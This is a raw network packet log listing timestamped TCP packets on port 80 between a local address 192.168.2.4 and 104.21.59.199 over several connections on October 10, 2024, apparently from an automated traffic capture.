Oct 10, 2024 21:01:21.103795052 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.103873968 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103883028 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.103934050 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109137058 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109194994 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109427929 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109436035 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109442949 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109451056 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109460115 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109489918 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109519958 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109535933 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109586000 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109600067 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109674931 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109741926 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109750986 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109823942 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.109886885 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.109942913 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.114932060 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115015030 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.115293026 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115303040 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115312099 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115345955 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.115358114 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115366936 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115391970 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115523100 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115531921 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115623951 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115711927 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115720987 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115833998 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115840912 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115849018 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.115989923 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.116012096 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.116019964 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.116027117 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.116034985 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.116041899 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.116050005 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.120378971 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.120419025 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.120446920 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.120496988 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.120523930 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.407586098 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.418380976 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.424494028 CEST	80	49738	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.424607038 CEST	49738	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.597928047 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.603302956 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:21.603411913 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.603924990 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:21.609194040 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.069643974 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.089536905 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.089992046 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.094810963 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.094855070 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.094906092 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.094944000 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.094995975 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.095009089 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095042944 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095057964 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.095093012 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.095168114 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095251083 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095278978 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095307112 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.095308065 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095338106 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.095357895 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.095422983 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.099518061 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.099565029 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.099807978 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.099854946 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.099922895 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.099988937 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100034952 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100080967 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100081921 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100107908 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100131035 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100157976 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100328922 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100375891 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100388050 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100429058 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100441933 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100492954 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100548029 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100579023 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100593090 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100640059 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.100652933 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.100704908 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.104747057 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.104844093 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.104847908 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.104897022 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.104952097 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105072975 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105266094 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105315924 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105343103 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105495930 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105541945 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105668068 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105765104 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105792046 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.105820894 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109675884 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109703064 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109730005 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109756947 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109802008 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109827995 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109853983 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109879017 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109905958 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109930992 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109956980 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.109982014 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.110027075 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.110053062 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.110078096 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.110104084 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.394829035 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.446975946 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.566169024 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.571923018 CEST	80	49739	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.571993113 CEST	49739	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.693011999 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.698425055 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:22.698520899 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.698898077 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:22.704170942 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.179765940 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.181080103 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.181497097 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186198950 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186388969 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186446905 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186546087 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186573982 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186593056 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186614990 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186624050 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186650991 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186670065 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186690092 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186697960 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186724901 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186743975 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186752081 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186763048 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186778069 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.186794996 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.186820030 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.191124916 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.191175938 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.191577911 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.191634893 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.191890001 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.191937923 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.192002058 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.192044973 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.192106009 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.192157030 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.192329884 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.192380905 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.192451000 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.192496061 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.192513943 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.192569971 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.192756891 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.192823887 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.193025112 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.193077087 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.193212032 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.193238974 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.193259001 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.193289995 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.196181059 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.196240902 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.196641922 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.196691990 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.196923971 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.196952105 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197088003 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197279930 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197460890 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197508097 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197597980 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197709084 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.197949886 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198241949 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198268890 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198314905 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198340893 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198370934 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198416948 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198462009 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198487043 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198532104 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198558092 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.198587894 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.201316118 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.201694012 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.201719999 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.201765060 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.201792002 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.484879017 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.496243000 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.503328085 CEST	80	49740	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.503400087 CEST	49740	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.658046961 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.663539886 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:23.663644075 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.664011955 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:23.668911934 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.136116028 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.137006998 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.137130022 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.142011881 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142254114 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142282963 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142314911 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142362118 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142409086 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142431974 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.142436028 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142431974 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.142488956 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142518044 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142548084 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.142550945 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.142594099 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.146920919 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.146991014 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.147447109 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147553921 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147581100 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147627115 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147654057 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147660971 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.147702932 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147730112 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147761106 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147779942 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.147779942 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.147808075 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147835970 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.147839069 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.147890091 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.147891045 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.148005009 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.148078918 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.152349949 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.152412891 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.152812958 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.152915955 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.152947903 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153079987 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153105974 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153137922 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153183937 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153214931 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153322935 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153353930 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153400898 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153426886 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153475046 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153501034 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153546095 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153572083 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153598070 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153624058 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153670073 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153696060 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153723001 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153748989 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153795958 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153822899 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.153848886 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.157510996 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.157859087 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.157885075 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.452714920 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.462291956 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.468144894 CEST	80	49741	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.468339920 CEST	49741	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.581473112 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.586900949 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:24.587124109 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.587472916 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:24.592788935 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.075295925 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.131690025 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.150558949 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.150883913 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.155884027 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.155921936 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.155977011 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.155980110 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.156003952 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.156030893 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.156035900 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.156059027 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.156068087 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.156094074 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.156096935 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.156122923 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.156131029 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.156153917 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.156158924 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.156198025 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.160708904 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.160737038 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.160770893 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.160815001 CEST	49742	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:25.161113977 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161140919 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161166906 CEST	80	49742	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:25.161170959 CEST	49742	80	192.168.2.4	104.21.59.199
